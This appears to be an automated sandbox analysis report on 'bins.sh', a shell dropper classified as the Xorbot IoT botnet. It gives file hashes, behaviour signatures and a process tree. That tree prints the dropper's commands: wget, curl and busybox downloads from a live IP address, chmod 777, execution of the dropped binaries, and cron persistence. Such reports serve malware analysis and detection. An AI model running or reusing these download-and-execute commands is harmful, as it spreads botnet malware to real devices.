Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 04:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5d0971a556970c74f4cd658bf101cfcd

  • SHA1

    4036ead2200bc75e663115eb6c13de4ef4358d7c

  • SHA256

    5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023

  • SHA512

    03b31e792454caa5dd8d9ec76839878907ca7e4e74b0e4fb698fbb81001fa8eb0033066ef8e69b1947206eebc4f08b24941d63e490118f15aa878d967c32ada0

  • SSDEEP

    96:2+qgBhG8gJdV+wRAJnh0nuncdV+wrRhqrh0nTmaW+qgBhwN8WJ:C8gJj+wRAZ6t+wV5Vi

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1474
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1475
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1476
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          ./Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
          • Executes dropped EXE
          PID:1493
        • /bin/rm
          rm Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9
          2⤵
            PID:1495
          • /usr/bin/wget
            wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Writes file to tmp directory
            PID:1499
          • /bin/chmod
            chmod 777 CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • File and Directory Permissions Modification
            PID:1500
          • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            ./CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1501
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1503
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1504
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1505
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1506
                • /bin/rm
                  rm CPSxNyZESCdOiZphszjlvWixN54zWtxaBb
                  2⤵
                    PID:1508
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr
                    2⤵
                      PID:1511

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb

                    Filesize

                    112KB

                    MD5

                    05d7857dcead18bbd86d2935f591873c

                    SHA1

                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                    SHA256

                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                    SHA512

                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  • /tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9

                    Filesize

                    122KB

                    MD5

                    cd3d4b9c643e5b473fb4d88ed05f0716

                    SHA1

                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                    SHA256

                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                    SHA512

                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                  • /var/spool/cron/crontabs/tmp.EIY3vB

                    Filesize

                    210B

                    MD5

                    8ffa41a4826fc18223e701ca1d506213

                    SHA1

                    8822a2d6ba546381add7d7145b00e53fff4df2de

                    SHA256

                    346d6577ca9d80548010c0f14790424a7ee1d412883cfda3d6bc2b4ef1134508

                    SHA512

                    11a3378d82d2b9f94c66ed5ecae83767290ea0e0fc1e082e1adaaab5f3539ef49bbc1693d0d0d90607133ef62a45c9e8840a47c118d579a49a93915412fd08ec